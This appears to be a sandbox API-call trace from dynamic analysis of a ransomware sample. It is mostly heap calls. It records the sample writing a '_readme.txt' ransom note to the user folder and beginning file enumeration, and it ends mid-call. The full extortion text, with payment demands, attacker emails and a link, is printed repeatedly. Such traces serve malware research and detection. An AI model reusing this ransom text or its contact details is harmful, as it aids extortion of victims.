RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.257] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.257] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.257] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.257] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.257] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.257] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.257] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.257] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.257] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.257] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.257] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.257] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.257] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.257] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.257] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.257] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.257] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.257] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.257] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.257] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.257] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.257] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.257] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.257] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.257] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.257] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.257] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.257] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.257] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.257] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.257] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.257] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.258] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.258] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.258] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.258] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.258] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.258] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.258] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.258] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.258] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.258] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.258] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.258] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.258] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.258] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.258] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.258] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.258] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.258] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.258] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.258] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.258] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.258] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.258] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.258] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.258] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.258] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.258] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.258] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.258] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.258] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.258] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.258] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.259] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.259] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.259] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.259] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.259] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.259] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.259] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.259] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.259] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.259] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.259] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.259] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.259] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.259] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.259] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.259] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.259] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.259] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.259] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.259] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.259] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.259] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.259] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.259] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.259] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.259] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.259] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.259] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.259] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.259] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.259] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.259] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.260] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.260] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.260] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.260] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.260] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.260] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.260] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.260] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.260] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.260] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.260] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.260] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.260] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.260] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.260] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.260] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.260] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.260] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.260] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.260] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.260] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.260] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.260] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x61616e8 [0117.260] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fa0 [0117.260] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.260] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.260] PathFindFileNameW (pszPath="") returned="" [0117.260] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.260] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.261] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.261] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x800) returned 0x61eeac0 [0117.261] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.261] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x676ab00 [0117.261] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fa0 [0117.261] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.261] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="_readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0117.261] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.261] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 0 [0117.261] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x7d00) returned 0x6771170 [0117.261] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.261] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.261] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676bc10 [0117.262] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0117.263] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x8d0) returned 0x6778e78 [0117.263] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x861) returned 0x6779750 [0117.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN", cchWideChar=-1, lpMultiByteStr=0x6779750, cbMultiByte=2145, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN", lpUsedDefaultChar=0x0) returned 1122 [0117.263] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x870) returned 0x61eeac0 [0117.263] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned 1121 [0117.263] WriteFile (in: hFile=0x618, lpBuffer=0x61eeac0*, nNumberOfBytesToWrite=0x461, lpNumberOfBytesWritten=0x6a5fb64, lpOverlapped=0x0 | out: lpBuffer=0x61eeac0*, lpNumberOfBytesWritten=0x6a5fb64*=0x461, lpOverlapped=0x0) returned 1 [0117.264] CloseHandle (hObject=0x618) returned 1 [0117.264] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.264] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676bc10 | out: hHeap=0x35b0000) returned 1 [0117.264] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771170 | out: hHeap=0x35b0000) returned 1 [0117.264] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.264] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162790 [0117.264] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb8e9e0d0, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0xb8e9e0d0, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.264] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162790 | out: hHeap=0x35b0000) returned 1 [0117.264] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb8e9e0d0, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0xb8e9e0d0, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.264] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0117.264] RtlAllocateHeap (HeapHandle=0x35b0000, 